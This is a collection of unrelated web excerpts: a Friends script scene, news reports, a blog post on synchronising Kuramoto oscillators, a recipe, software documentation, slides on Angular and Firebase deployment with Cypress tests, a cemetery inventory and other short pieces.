Joey: It's easy, you just walk in on them having sex.
Phoebe: Oh, so they owe me like, three Phoebes.
(Phoebe sees Rachel and Ross through the window.)
Phoebe: Oh my god! Look, it's Ross and Rachel. Oh, the plan is working.
(Joey does the "plan-laugh.")
Phoebe: Don't, don't do the plan-laugh.
[Cut to inside Central Perk.]
Ross: The first date we've had in months, and they were both such disasters.
Rachel: Oh. Huh. You know, it is weird that Phoebe would set me up on a date that was awful on the same night that Joey set you up on a date that didn't even show.
Ross: Wait a minute; you don't think it was intentional?
[Cut to outside Central Perk.]
Joey: We're geniuses! Yeah, look at them, look at them, they're really bonding.
Phoebe: Oh, yeah, they're falling in love all over again.
(Rachel and Ross turn around and look at Phoebe and Joey with puzzled expressions on their faces.)
Phoebe: Oh, they see us! Oh, they, they look mad. Oh, they figured it out. They're coming this way. Run!
Joey: Where?
Phoebe: Mexico!
(They run down the street with Ross and Rachel following right behind them.)
End credits.
[Scene: Delmonico's restaurant. Ross and Joey are sitting at a table for four. The waiter is pouring water in their glasses.]
Joey: Can you believe they're still not here?
Ross: I know. A double blind date, and we both get stood up. What are the chances?
Joey: I know, I'm so bummed. Can we have our free crab cakes now?
Waiter: What?
Joey: We've been stood up. (sniffles) And we want our free crab cakes.
Waiter: Guys, give it a rest.  Although we do have a pool going to see how long it takes that guy to cry.
(He points at Steve who's sitting at another table. He's staring at his hands.)

(He starts crying.)


Three tech startups offer solutions to nation’s health, property, auto problems
by Abiola OdutolaGerocare, E-Estate and SimbiBot, technology startups, has proffered solutions to the challenges facing health, property and automotive sectors of the Nigerian economy at Itanna, Honeywell Group’s venture capital programme organised for African startups.
Prior to the second edition of the event, the three tech startups, who showcased their solutions designed to tame the problems facing the trio sectors, were selected from over 200 applications from innovative founders.
Applications were received from eight African countries in need of capital investment and the much-needed brand-backing from Honeywell Group, which has been in operation for nearly 50 years.
The acceleration programme was held for four months at Itanna Enterprise Factory in Lagos. Tech startups that participated and made it to the Demo Day (day of pitching and exhibition) got capital investment as well as advisory services from industry experts and mentorship from established tech entrepreneurs.
Startups solving real problems
This year’s finalists were four and were from different sectors of the economy. They were on a quest to end the traditional method still being applied by Nigerians in their daily activities.
Gerocare
Gerocare is a tech health-startup established to take care of the medical needs of senior citizens (elderly) in Nigeria. It was founded by Dr Ebinosa Ofrey, Bruce Lucas and Ajibola Meraiybu in 2017.
[READ MORE: 12 African startups selected for 2019 Series-A Venture Showcase]
E–Estate
It was co-founded by Hassan Tobiloba, Salako Segun and Ejinne Ogbuo in 2017. It is a tech startup operating in the real estate business. It provides electronic estate management service to gated communities and residential estates.
SimbiBot
It is an education tech startup looking to transform the archaic method of learning in Nigeria’s educational system. In 2017, the startup was founded by Abdulazeez Ogunjobi and Sodeeq Elusoji.
Carido
Carido is an automotive tech startup connecting automobile owners with verified automobile service pro riders close to them. The startup was founded by Juatus Obaoye and Abdullateef Ololade in 2017. Carido didn’t pitch its tech solution at the Demo Day.
Speaking about the event and the essence of Itanna acceleration programme, Tomi Otudeko, Director at Itanna and Head of Innovation and Sustainability for Honeywell Group, told Nairametrics that, “The event was a demo day for our second acceleration programme. We’ve had two acceleration programmes in Itanna.
“This was a Demo Day to showcase three of the companies that are in our acceleration programme, the work they do and to present them to the world.
“I’m truly impressed by the companies. I’m excited by the product and services they offer. I’m quite excited that they are solving real problems and I believe that they will do amazing things.”
[READ ALSO: Nigerian, Ghanaian startups to participate in Facebook Accelerator Programme]
What’s the big deal about Itanna?
In an interview with two of the startups that presented at the Demo Day, Nairametrics was told that the investment wasn’t the motivating factor, rather, it was the value the Honeywell brand would have on their portfolio.
According to Ogunjobi of SimbiBot, “We applied to Itanna because we needed an acceleration programme and after looking around, we saw the value we could get from Itanna knowing fully well that it’s an extension of Honeywell and Honeywell is a giant company in Africa.
“And I also heard it’s (Honeywell) passionate about education, so those are things we factored in before applying. And on getting the application and the interview stage, we also saw the value we also get from the mentors and their network which made us so particular about this acceleration.”
Also speaking about the reason for applying, Lucas, the Chief Technical Officer of GeroCare said, “We did a due analysis of what we needed to grow, and most of the things we needed to grow was not funds at that time because we had funds from venture platforms but lack the right network, which Itanna provides.”


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Consider the Kuramoto model for the synchronization of coupled oscillators
Here $\theta_i(t)$, $i = 1,\ldots,N$, is the phase of the $i$-th oscillator, $\omega_i$ is its natural frequency and $K$ is the coupling strength. The frequencies $\omega_i$ are distributed with a given probability density $f(\omega)$, unimodal and symmetric around the mean frequency
that is, $f(\Omega+\omega) = f(\Omega-\omega)$.
It is known that, if the coupling $K$ is sufficiently strong, the oscillators will synchronize asymptotically, i.e.
We want to design a control capable to ensure synchronization in a final time horizon $T$, that is
To compute this optimal control allowing us to reach the synchronized configuration (3) we can adopt a classical approach based on the resolution of the following optimization problem
subject to the dynamics (1).
For the resolution of (3), we use the standard GD method, which looks for the minimum $u$ as the limit $k\to +\infty$ of the following iterative process
This gradient technique is most often chosen because it is very easy to be implemented.
In order to fully define the iterative scheme (4), we need to compute the gradient $\nabla J(u)$. This can be done via the Pontryagin maximum principle.
To this end, let us first rewrite the dynamics (1) in a vectorial form as follows
with $\Theta :=(\theta_1,\ldots,\theta_N)^\top$, $\Theta^0:=(\theta_1^0,\ldots,\theta_N^0)^\top$ and $\Omega :=(\omega_1,\ldots,\omega_N)^\top$, and where $F$ is the vector field given by
Using the notation just introduced, we obtain the following expression for the gradient of $J(u)$
where $\mathcal D_uF$ indicates the Jacobian of the vector field $F$, computed with respect to the variable $u$.
In (5), we denoted with $p = (p_1,\ldots,p_N)$ the solution of the adjoint equation associated with (1), which is given by
where $\mathcal D_\Theta F$ stands again for the Jacobian of the vector field $F$, this time computed with respect to the variable $\Theta$.
Taking into account the expression of the vector field $F$, we can then see that the iterative scheme (4) becomes
with
We then see that, at each iteration $k$ the optimization scheme (6) requires to solve a $N$-dimensional non-linear dynamical system. This may rapidly become computationally very expensive, especially when the number $N$ of oscillators in our system is large.
In order to reduce this computational burden, we can combine the standard GD algorithm with the so-called Random Batch Method (RBM), which is a recently developed approach (see [2]) allowing for an efficient numerical simulation of high-dimensional collective behavior problems. This technique is based on the following simple idea: at each time step $t_m = m\cdot dt$ in the mesh we employ to solve the dynamics, we divide randomly the $N$ particles into $n$ small batches with size $2\leq P<N$, denoted by $C_q$, $q = 1,\ldots,n$, that is
Once this partition of ${1,\ldots,N}$ has been performed, we solve the dynamics by interacting only particles within the same batch. In this way, we are now dealing with systems of lower dimension and the computational cost of the GD algorithm is reduced.
Numerical simulations
We can check the effectiveness of the proposed approach through some numerical simulations for the computation of the optimal control $\widehat{u}$.
Firstly, we can show that the optimization problem (3) indeed allows to compute an effective control function which is capable to steer the Kuramoto model (1) to a synchronized configuration.
In Figure 1-top, we show the evolution of the uncontrolled dynamics, which corresponds to taking $u\equiv 1$ in (1). As we can see, the oscillators are evolving towards a synchronized configuration, but synchronization is not reached in the short time horizon we are providing. In Figure 1-bottom, we show the evolution of the same dynamics, this time under the action of the control function $u$ computed through the minimization of $J(u)$. The subplot on the left corresponds to the simulations done with the GD approach, while the one on the right is done employing GD-RBM. We can clearly see how, in both cases, the oscillators are all synchronized at the final time $T=3s$. This means that both algorithms managed to compute an effective control.
Figure 1. Top - evolution of the free dynamics of the Kuramoto model (1) with $N=10$ oscillators. Bottom - evolution of the controlled dynamics of the Kuramoto model (1) with $N=10$ oscillators. The control function $\widehat{u}$ is obtained with the GD (left) and the GD-RBM (right) approach.
In Figure 2, we display the behavior of the control function $\widehat{u}$ computed via the GD-RBM algorithm. We can see how, at the beginning of the time interval we are considering, this control is close to one and it is increasing with a small slope. On the other hand, this growth becomes more pronounced as we get closer to the final time $T=3s$.
Figure 2. control function $\widehat{u}$ obtained through the GD-RBM algorithm applied to the Kuramoto model (1) with $N=10$ oscillators.
Notice that, in (1), $\widehat{u}$ enters as a multiplicative control which modifies the strength of the coupling $K$. Hence, according to the profile displayed in Figure 2, the control function $\widehat{u}$ we computed is initially letting the system evolving following its natural dynamics. Then, as the time evolves towards the horizon $T=3s$, $\widehat{u}$ enhances the coupling strength $K$ in order to reach the desired synchronized configuration (2).
We can now compare the performances of the GD and GD-RBM algorithms for the computation of the optimal control $\widehat{u}$. To this end, we can run simulations for increasing values of $N$, namely $N=10,50,100,250,1000$.
Figure Figure 3 shows the computational times required by the two methodologies to solve the optimization problem (3).
Figure 3. computational times required by the GD and GD-RBM algorithm to compute the optimal control $\widehat{u}$ with increasing values of $N$.
Our simulations show how, for low values of $N$, the two approaches show similar behaviors. Nevertheless, when increasing the number of oscillators in our system, the advantages of the GD-RBM methodology with respect to GD become evident. In particular, the growth of the computational time for GD-RBM is significantly less pronounced than for GD. As a matter of fact, Figure 3 is not considering the case of $N=1000$ oscillators with GD, since the behavior with smaller values of $N$ already suggested that this experiment would be computationally too expensive.
On the other hand, even with $N=1000$ oscillators in the system, the GD-RBM approach turns out to be able to compute an effective control for the Kuramoto model (1) in about $29$ seconds (see Figure 4).
Figure 4. evolution of the controlled dynamics of the Kuramoto model (1) with $N=1000$ oscillators. The control has been computed with the GD-RBM algorithm.
More details on the contents of this post can be found in [1].
Bibliography
[1] U. Biccari and E. Zuazua, A stochastic approach to the synchronization of coupled oscillators, to appear in Front. Energy Res.
[2] S. Jin, L. Li and J.-G. Liu, Random Batch Methods (RBM) for nteracting particle systems, J. Comput. Phys. 400 (2020), 108877.


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Cooking time
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Serves
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Make sure that the beef fillet is trimmed and free of sinew and fat.
Cut in half lengthways so that you have two longish, flat pieces.
Season these with the olive oil, salt and peppercorns.
Heat a cast-iron frying saucepan over a very a high heat until very hot.
Add the beef and cook for 2 minutes on each side for rare, and about 5 minutes on each side for medium to well done.
When cooked, transfer the beef to a plate, and allow to cool.
To cook the celery, place in a small saucepan with the other ingredients and 150ml/¼ pint) of water.
Cover tightly and simmer for 4 minutes.
Remove the saucepan from the heat and allow the celery to cook in the liquid.
To make the Cashel Blue dressing, simply whisk the crumbled cheese with the vinaigrette dressing in a small bowl.
To make the Vinaigrette, dissolve the salt, pepper and mustard in the vinegar in a bowl.
Whisk in the oil, slowly at first to allow it to be incorporated. Check and adjust the seasoning to taste. (Alternatively, this dressing can be easily made in a food processor. Simply place all the ingredients in together and blend.) Remember to keep all vinaigrettes in the fridge if they are not being used immediately, otherwise they can develop a rancid taste.
To serve, slice the beef thinly and arrange on four plates, with a little celery.
Place the salad leaves in the centre of each and spoon on a little dressing.
Garnish with the chives and chervil leaves.


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Arrests from public protest images discourages protests.
Over the past weeks, we have seen an increasing number of
arrests at BLM protests, with images circulating around the web enabling automatic identification of those individuals and subsequent arrests to hamper protest activity. This primarily concerns social media protest images, e.g. 15 Twitter posts from President Donald Trump on June 27, 2020.
Numerous applications have emerged in response to this threat that aim to anonymize protest images and enable people to continue protesting in safety. Of course, this would require a shift on the public's part to recognize this issue and an easy and effective method for anonymization to surface. In an ideal world, platforms like Twitter would enable an on-platform solution.
Unfortunately, to beat facial recognition,
blurring faces is not enough.
So what's your goal? AI to help alleviate some of the worst parts of AI...
The goal of this work is to leverage our group's knowledge of facial recognition AI to offer the most effective anonymization tool, which evades state of the art facial recognition technology.
Some technical considerations
AI facial recognition models can recognize blurred faces. This work tries to discourage people from trying to recognize or reconstruct pixelated faces by masking people with an opaque mask. We use the BLM fist emoji as that mask for solidarity. While posting anonymized images does not delete the originals, we are starting with awareness and hope Twitter and other platforms would offer an on-platform solution (might be a tall order, but one can hope).
Importantly, this application does not save images. We hope the transparency of this open source repository will allow for community input. The Twitter bot posts anonymized images based on the Fair Use policy; however, if your image is used and you'd like it to be taken down, we will do our best to do so immediately.
Limits of facial recognition
Past research has demonstrated that facial recognition technologies are baised. When
3 commercial facial recognition technologies were examined for bias, researchers found that darker-skinned females were the most misclassified group (with error rates of up to 34.7%), while the maximum error rate for lighter-skinned males is 0.8%. The
ACLU also tested Amazon's facial recognition software, and found that the software incorrectly recognized 28 members of Congress as other people who have been arrested. More recently,
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Recognition is different from reconstruction. Facial recognition technology can still identify many blurred faces and is better than humans at it.
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Blurring faces has the added threat of encouraging certain people or groups to de-anonymize images through reconstruction or directly identifying individuals through recognition.
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Achieved higher pass rates for AP Biology than the previous two years combined
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Julian Assange won't get visit from Pamela Anderson due to 'personal emergency'
After being his champion outside prison, Pamela Anderson has had to cancel another visit to Wikileaks founder Julian Assange due to a ‘personal emergency’.
While Assange remains in the big house awaiting trial after failing to surrender to the court while in the Ecuadorian embassy, Anderson has been his mouthpiece, claiming his life ‘is at risk’ inside prison.
The Baywatch star was meant to be visiting Assange today, before holding a press conference outside Belmarsh Prison in south-east London, but that’s now been scrapped.
A statement from the Don’t Extradite Assange campaign said: ‘Pamela has a personal emergency which has meant she has had to go home and cancel everything for the next two weeks.’
Anderson recently said Assange had been subjected to ‘traumatic psychological torture’, as she urged his home country Australia to stop him being extradited to the US, where he faces 18 charges.
Assange was jailed for 50 weeks in May for breaching his bail conditions after going into hiding to avoid extradition to Sweden over sex offence allegations.
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‘He needs to be set free… He was right seeking asylum because everything he said would happen, happened,’ Anderson said on Good Morning Britain in September.
Recalling her recent visit to Belmarsh Prison, Pamela told Piers Morgan and Susanna Reid via video link: ‘I visited him in Belmarsh and it’s not a place you want to go visit.
 I care a great deal about Julian and he’s been psychologically tortured, that’s been talked about in the UN.’
In May, a UN expert said Assange was showing symptoms associated with extensive exposure to psychological torture living in Belmarsh Prison.
Applauding Assange for releasing secret documents via WikiLeaks, Pamela said: ‘I just want people to understand that this is a good person who has dedicated himself to telling the truth to the public which we deserve to know.
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Plots module¶
Created on Mon Nov 18 15:05:09 2019
@author: riddaali
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Plots.
comparingModelsPerformance
()[source]¶ Code adapted from the following source: - https://machinelearningmastery.com/compare-machine-learning-algorithms-python-scikit-learn/
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Plots.
correlation_matrix
(new_df)[source]¶ Creating a correlation matrix to see the correlation between various variables Sources used (code adapted from the following websites):
https://stackoverflow.com/questions/48035381/correlation-among-multiple-categorical-variables-pandas
https://towardsdatascience.com/better-heatmaps-and-correlation-matrix-plots-in-python-41445d0f2bec
https://www.drawingfromdata.com/how-to-rotate-axis-labels-in-seaborn-and-matplotlib
- param [new_df]
[cleaned dataframe that will be used to generate the
correlation matrix plot]
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Plots.
featureImportance
()[source]¶ Creating the “Feature Importance” plot for the Random Forest model by using the built-in class “feature_importances_”.
Source used for guidance: - https://stackoverflow.com/questions/44101458/random-forest-feature-importance-chart-using-python
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Plots.
plot_obesity_age
(new_df)[source]¶ Plot 1: Obesity vs Age.
- Parameters
[new_df] – [cleaned dataframe that will be used to generate the
“Obesity vs Age” plot]
-
Plots.
plot_obesity_alcohol
(new_df)[source]¶ Plot 6: Obesity vs Alcohol Consumption.
- Parameters
[new_df] – [cleaned dataframe that will be used to generate the
“Obesity vs Alcohol Consumption” plot]
-
Plots.
plot_obesity_arthritis
(new_df)[source]¶ Plot 7: Obesity vs Arthritis.
- Parameters
[new_df] – [cleaned dataframe that will be used to generate the
“Obesity vs Arthritis” plot]
-
Plots.
plot_obesity_education
(new_df)[source]¶ Plot 2: Obesity vs Education Level.
- Parameters
[new_df] – [cleaned dataframe that will be used to generate the
“Obesity vs Education Level” plot]
-
Plots.
plot_obesity_exercise
(new_df)[source]¶ Plot 4: Obesity vs Exercise.
- Parameters
[new_df] – [cleaned dataframe that will be used to generate the
“Obesity vs Exercise” plot]


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| Package | flare.vis.operator |
| Class | public class OperatorSwitch |
| Inheritance | OperatorSwitch OperatorList flash.utils.Proxy |
add
method. Once added,
operators can be retrieved and set using their index in the list, either
with array notation ([]
) or with the
getOperatorAt
and setOperatorAt
methods.
The current sub-operator to run is determined by the index property. This index can be set manually or can be automatically determined upon each invocation by assigning a custom function to the indexFunction property.
| Property | Defined by | ||
|---|---|---|---|
| enabled : Boolean Indicates if the operator is enabled or disabled.
| OperatorList | ||
| first : Object Returns the first operator in the list.
| OperatorList | ||
| index : int The currently active index of the switch.
| OperatorSwitch | ||
| indexFunction : Function = null
A function that determines the current index value of this
OperatorSwitch.
| OperatorSwitch | ||
| last : Object Returns the last operator in the list.
| OperatorList | ||
| length : uint The number of operators in the list.
| OperatorList | ||
| list : Array An array of the operators contained in the operator list.
| OperatorList | ||
| parameters : Object
Sets parameter values for this operator.
| OperatorList | ||
| visualization : Visualization
The visualization processed by this operator.
| OperatorList |
| Method | Defined by | ||
|---|---|---|---|
|
OperatorSwitch(... ops)
Creates a new OperatorSwitch.
| OperatorSwitch | ||
|
Adds an operator to the end of this list.
| OperatorList | ||
|
clear():void
Removes all operators from this list.
| OperatorList | ||
|
getOperatorAt(i:uint):IOperator
Returns the operator at the specified position in the list
| OperatorList | ||
|
operate(t:Transitioner = null):void
Performs an operation over the contents of a visualization.
| OperatorSwitch | ||
|
Removes an operator from this list.
| OperatorList | ||
|
removeOperatorAt(i:uint):IOperator
Removes the operator at the specified position in the list
| OperatorList | ||
|
Set the operator at the specified position in the list
| OperatorList | ||
|
setup():void
Setup method invoked whenever this operator's visualization
property is set.
| OperatorList |
| index | property |
index:int
[read-write] The currently active index of the switch. Only the operator at this
index is run when the operate
method is called.
public function get index():int
public function set index(value:int):void
| indexFunction | property |
public var indexFunction:Function = null
A function that determines the current index value of this OperatorSwitch. This can be used to have the operator automatically adjust which sub-operators to run. If this property is non-null, the function will be invoked each time this OperatorSwitch is run and the index property will be set with the resulting value, overriding any previous index setting. The index function should accept zero arguments and return an integer that is a legal index value for this switch. If the returned value is not a legal index value (i.e., it is not an integer or is out of bounds) then no sub-operators will be run.
| OperatorSwitch | () | constructor |
public function OperatorSwitch(... ops)
Creates a new OperatorSwitch.
Parameters... ops — an ordered set of operators to include in the switch.
|
| operate | () | method |
public override function operate(t:Transitioner = null):void
Performs an operation over the contents of a visualization.
Parameterst:Transitioner (default = null ) — a Transitioner instance for collecting value updates.
|


The benefits of yoga have been recognized and well documented. It is also well documented that western society as a whole lead more sedentary lifestyles, work longer hours and are overweight and stressed more then ever before.
This stress alone can lead to hypertension, heart attacks, diabetes, asthma, insomnia and chronic pain. Those same stress related illnesses keep over a million people from work on a daily basis, costing companies billions of dollars in lost productivity and health insurance costs.
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This simple todo list backend and web app were created using StrongLoop and Bluemix Mobile Services. Follow the onscreen guided experience to get started.
Add a few items to the list on the right.
Well done. Two API calls were required to add that Todo:
POST - Create and add the new item
/api/Items
GET - Retrieve the full list
/api/Items
Next, try editing an item.
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GET - Single item by ID.
/api/Items/:id
Next, hit save to store your changes.
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/api/Items/:id
GET - retrieve the full list
/api/Items
Next, mark an item as completed using the checkbox.
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PUT - update item
/api/Items/:id
GET - retrieve the full list
/api/Items
Now, try to delete an item.
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Bases: openstack_dashboard.api.base.APIDictWrapper
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Simple wrapper around novaclient.hypervisors.Hypervisor.
Bases: openstack_dashboard.api.base.APIResourceWrapper
Simple wrapper around contrib/simple_usage.py.
Bases: openstack_dashboard.api.base.APIDictWrapper
Wrapper for the “console” dictionary.
Returned by the novaclient.servers.get_rdp_console method.
Bases: openstack_dashboard.api.base.APIDictWrapper
Wrapper for the “console” dictionary.
Returned by the novaclient.servers.get_spice_console method.
Bases: openstack_dashboard.api.base.APIResourceWrapper
Wrapper around novaclient.security_groups.SecurityGroup.
Wraps its rules in SecurityGroupRule objects and allows access to them.
Wraps transmitted rule info in the novaclient rule class.
Bases: openstack_dashboard.api.network_base.SecurityGroupManager
Gets security groups of an instance.
Bases: openstack_dashboard.api.base.APIResourceWrapper
Wrapper for individual rules in a SecurityGroup.
Bases: openstack_dashboard.api.base.APIDictWrapper
Wrapper for the “console” dictionary.
Returned by the novaclient.servers.get_serial_console method.
Bases: openstack_dashboard.api.base.APIResourceWrapper
Simple wrapper around novaclient.server.Server.
Preserves the request info so image name can later be retrieved.
Bases: openstack_dashboard.api.base.APIDictWrapper
Wrapper for the “console” dictionary.
Returned by the novaclient.servers.get_vnc_console method.
Add a tenant to the given flavor access list.
Return the Hypervisor’s capability of setting mount points.
Determine if nova supports a given extension name.
Example values for the extension_name include AdminActions, ConsoleOutput, etc.
Get the list of access instance sizes (flavors).
Unset the flavor extra spec keys.
Set the flavor extra spec keys.
Get flavor extra specs.
Get the list of available instance sizes (flavors).
List all nova extensions, except the ones in the blacklist.
Remove a tenant from the given flavor access list.
Gets console output of an instance.


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New Right party holds conference in preparation for likely third round of elections.
by Arutz Sheva StaffThe New Right Party held a conference Monday evening, attended by hundreds of activists and party leaders, in preparation for the possibility of a third election campaign in the near future
Defense Minister and New Right leader Naftali Bennett said at the event "If the leaders of the various parties do not come together, we will find ourselves in another 15 days in the third election campaign within a year."
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New Right chairwoman MK Ayelet Shaked said that she felt that further elections were inevitable. "We are not yet desperate to have Liberman return to the right-wing bloc, but that seems highly unlikely. The most realistic scenario is a third election campaign."


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This Zesiger Cemetery is located on the south side of Ohio Route # 78, 2.6 miles from the intersection of Ohio Routes # 78 and # 7 in Clarington, Ohio. There are 7 tombstones in this cemetery although one of the stones is not planted in the ground and is leaning against another that is firmly planted. This small cemetery is located between two houses that face Route @ 78 at a distance of about 50 yards from each.
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It appears likely that the
Zesiger Cemetery could have been originally much larger and that it could have been
encroached upon in later years by people claiming the land for a home sites. The massive size of two of the stones
probably served to protect the few remaining graves. At the time of this
inventory, stone # 5 was not secured in the ground and was leaning against
stone # 6.
Approximate width of
cemetery (perpendicular to Rt. # 78) is 15 feet
Approximate depth of
cemetery (measured parallel to Rt. # 78) is 15 feet
Top of above chart is roughly
southwest
Names listed by Stone Number
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1 |
Rudolph
Zesiger died Mar 21, 1872 aged 61 yr,
4 mo, 11 da |
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2 |
Mary
wife of Rudolph Zesiger died Aug 27, 1877 aged 62 yr, 10 mo, 28 da |
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3 |
Elizabeth
wife of Issac N. Smith died Feb 11, 1880 aged 20? Yr, 4 mo, 12 da |
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4 |
Jacob
Zesiger died Apr 27, 1882 in his 29th yr |
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5 |
Walter
L. Smith died Mar (or May) 25, 1880 aged ? mo (This stone is not fixed in the
ground but is leaning against stone # 6 |
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6 |
Center
part of this large stone is missing no inscription exists |
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7 |
Benjamin
Zesiger son of R & M Zesiger died Oct 1st 1859 in his 19th
year |
Inventoried, Measured, and
Charted November
16, 2003 by R.E. Harrington
Latitude/Longitude/elevation
measurements for the Zesiger Cemetery were made with a GPS on the headstone of Rudolph
Zesiger (1810 1861). Accuracy = +/-
18 feet; elevation corrected to ground
level = 700 feet; latitude = N 39 o
45.441 ;
longitude = W080o 54.411
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Indian women’s cricket team sweeps T20 series
by PRESS TRUST OF INDIAThe Indian women’s cricket team completed a 5-0 series whitewash over the West Indies after half-centuries from Veda Krishnamurthy and Jemimah Rodrigues, complemented by the bowlers’ clinical show, steered the side to a 61-run triumph in the fifth and final T20 International here.
Jemimah (50) and Veda (57 not out) shared 117 runs for the third wicket as India Women scored 134 for three after electing to bat.
India was reduced to 17 for two in the fourth over with Shafali Verma (9) and captain Smriti Mandhana (7) getting out cheaply. But the Jemimah-Veda duo steadied the innings and took the side to a decent total.
Jemimah needed 56 balls for her 50, which was studded with three boundaries, while Veda’s unbeaten 57 came off 48 deliveries, which included four hits to the fence.
In the West Indies run chase, the Indian bowlers produced a disciplined performance to restrict the host to 73 for seven.
The scores: India Women 134/3 in 20 overs (Jemimah Rodrigues 50, Veda Krishnamurthy 57 n.o.) bt West Indies Women 73/7 in 20 overs (Anuja Patil 2/3). Player-of-the-Match: Veda Krishnamurthy; Player-of-the-Series: Sushma Verma.


Measuring the latency from your web browser to the Blob Storage Service in each of the Microsoft Azure Data Centers.


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Code Mortals
Framework built by Google
$ npm i -g @angular/cli
$ ng new codemortals
? Would you like to add Angular routing? Yes
? Which stylesheet format would you like to use? (Use arrow keys)
CSS
❯ SCSS [ https://sass-lang.com/documentation/syntax#scss ]
Sass [ https://sass-lang.com/documentation/syntax#the-indented-syntax ]
Less [ http://lesscss.org ]
Stylus [ http://stylus-lang.com ]
cd codemortals
npm start
Automation Engine
version: 2
jobs: ....
workflow: ....
jobs:
build-code:
docker:
- image: circleci/node:10
steps:
- checkout
- run: npm install
- run: npm run build
build-docs:
docker:
steps:
workflow:
- build-code
- build-docs
Deployment Automation
$ npm i --save-dev firebase-tools
$ npx firebase login
$ npx firebase init
? Which Firebase CLI features do you want to set up for this folder? Press Space to select features, then Enter to confirm your choices.
◯ Database: Deploy Firebase Realtime Database Rules
◯ Firestore: Deploy rules and create indexes for Firestore
◯ Functions: Configure and deploy Cloud Functions
❯ ◉ Hosting: Configure and deploy Firebase Hosting sites
◯ Storage: Deploy Cloud Storage security rules
=== Project Setup
? Select a default Firebase project for this directory:
[don't setup a default project]
❯ codemortals-website (Website)
[create a new project]
=== Hosting Setup
? What do you want to use as your public directory? dist
? Configure as a single-page app (rewrite all urls to /index.html)? (y/N) y
✔ Wrote dist/index.html
i Writing configuration info to firebase.json...
i Writing project information to .firebaserc...
✔ Firebase initialization complete!
$ npx firebase login:ci
Visit this URL on any device to log in:
https://accounts.google.com/o/oauth2/auth?.....
Waiting for authentication...
✔ Success! Use this token to login on a CI server:
1/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Example: firebase deploy --token "$FIREBASE_TOKEN"
deploy: &deploy
docker:
- image: google/cloud-sdk
steps:
- checkout
- run: npm run build
- run: npx firebase use --token $FIREBASE_KEY
- run: npx firebase deploy --token $FIREBASE_KEY
deploy-dev:
<<: *deploy
deploy-prod:
<<: *deploy
workflow:
- build-code
- build-docs
- deploy-dev:
context: website-dev
requires:
- build-code
filters:
branches:
only: development
- deploy-prod:
context: website-prod
requires:
- build-code
filters:
branches:
only: production
Browser testing automation
$ npm i cypress
$ npm i cypress-cucumber-preprocessor
"scripts": {
"build": "ng build",
"start:test": "serve -s -p 8080 dist",
"cypress:run": "cypress run",
"cypress:open": "cypress open"
}
describe('User authentication', function() {
it('Successful login of a valid user account', function() {
cy.visit('/login');
cy.get('form')
.within(() => {
cy.get('input[id="username"]')
.should('be.empty')
<EMAIL_ADDRESS>cy.get('input[id="password"]')
.should('be.empty')
.type('ValidPassword')
cy.get('button')
.contains('Login')
.should('not.be.disabled')
.click()
});
cy.location()
.should((location) => {
expect(location.pathname).to.eq('/account');
})
});
});
Gherkin Syntax
Scenario: Describe the scenario
Given there is a precondition
When an action or input occurs
Then an outcome should be observed
Gherkin Example (Happy Path)
Scenario: Successful login of a valid user account
Given the "/login" page is open
When the "username" field is set to<EMAIL_ADDRESS>And the "password" field is set to "ValidPassword"
Then the "Login" button should be "enabled"
When the "Login" button is clicked
Then the "/account" page is open
Gherkin Example (Sad Path)
Scenario: Failure to login with an incorrect password
Given the "/login" page is open
When the "username" field is set to<EMAIL_ADDRESS>And the "password" field is set to "IncorrectPassword"
Then the "Login" button should be "enabled"
When the "Login" button is clicked
Then the "/login" page is open
And an error message says "Invalid credentials"
Step definition
import { Given } from 'cypress-cucumber-preprocessor/steps';
Given('the {string} page is open', (path) => {
cy.visit(path);
});
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"We Heart Food" began as a collaboration of two foodies from Hicktown, Ohio.
We work very hard to develop the recipes and make every effort to share reliable recipes on our blog. We also provide very precise instructions. However, sometimes things don’t work out as planned. Please let us know exactly what was unsatisfactory about your result. Oftentimes it is something we can troubleshoot through so you can have better success next time. Trial and error is how we learned, and hopefully you can learn that way too.
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Absolutely! We could never share a recipe with you that we wouldn’t personally eat. If we say a recipe is delicious, it is because we think it is delicious! After we’ve had our share, the leftovers are given away. We Love Food!'s purpose is to share our passion to bake and create recipes and is absolutely no reflection of what we eat daily.
It’s true, we’re way too busy, and working longer and longer hours. But consider that, in the last decade or so, we’ve all found two hours a day to be on line outside of work. So where did we get THAT time? The day is still only 24 hours long. The point is, we always find time for the things we value—and we’ve come to devalue cooking. Our premise is that that was a big mistake—one that was abetted by food corporations and marketers eager to cook for us—and when you realize all that not-cooking is costing us and our families, you’ll be apt to carve out a little more time for it. And when you realize how pleasurable it can be, approached in the right spirit, you might just begin to devote some of your leisure to it. This is what happened to me. By letting corporations cook for us, we have been robbed of one of the greatest satisfactions in life. Let’s take it back!


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Small auxiliary program for use in the "async=4" case where the main filter program is an MPI program and the model being run with DART is also an MPI program. The main MPI job script runs each of the model advances for the ensemble members, and then runs this program to restart the filter program.
mpi_utilities_mod
There are no namelist options for this program. It must be run as an MPI program with the same number of tasks as filter was originally started with.
Named pipes (fifo) files are used to synchronize with the main MPI job run script, to ensure that the filter program and the script do not do a "busy-wait" in which they consume CPU cycles while they are waiting for each other. The fifo names are:
| Routine | Message | Comment |
|---|---|---|
| block_task | cannot handle task counts > 99999 | Ensemble size must be less than 100,000. |
| block_task | initialize_mpi_utilities() must be called first | The mpi init routine must be called first |
| restart_task | cannot handle task counts > 99999 | Ensemble size must be less than 100,000. |
| restart_task | initialize_mpi_utilities() must be called first | The mpi init routine must be called first |
none
Some queueing systems balk at having multiple MPI jobs active at the same time, even if one is sleeping while the other is running. At some point filter may exit instead of blocking while the model advances are running. In that case this program will no longer be needed.
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I’m a young aspiring Full-Stack developer currently taking Carleton University’s coding bootcamp. Also Graduated from Algonquin College’s Game Development program in March 2020.


Windows 10 Theme: Microsoft releases Classic Cars PREMIUM theme pack
by RakaMicrosoft releases Classic Cars PREMIUM, a new theme pack that contains 20 high-quality 4K wallpapers, the description of which reads as follows:
Tour through time with these 20 4k premium images of vintage automobiles, free for Windows 10 themes. These images are to be used as desktop wallpaper only.
After downloading the collection, go to Start > Settings > Personalization > Themes and click on the theme you prefer.
To apply and change to the most appropriate color, based on the current wallpaper, go to Customize > Colors > Automatically select a primary color from the background.
Find the new Classic Cars PREMIUM in the Microsoft Store here.
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Film review by Kevin Patterson
SE7EN Rating: ***1/2 (out of four) R, 1995 Director: David Fincher Screenplay: Andrew Kevin Walker Starring Cast: Morgan Freeman, Brad Pitt, Gwyneth Paltrow
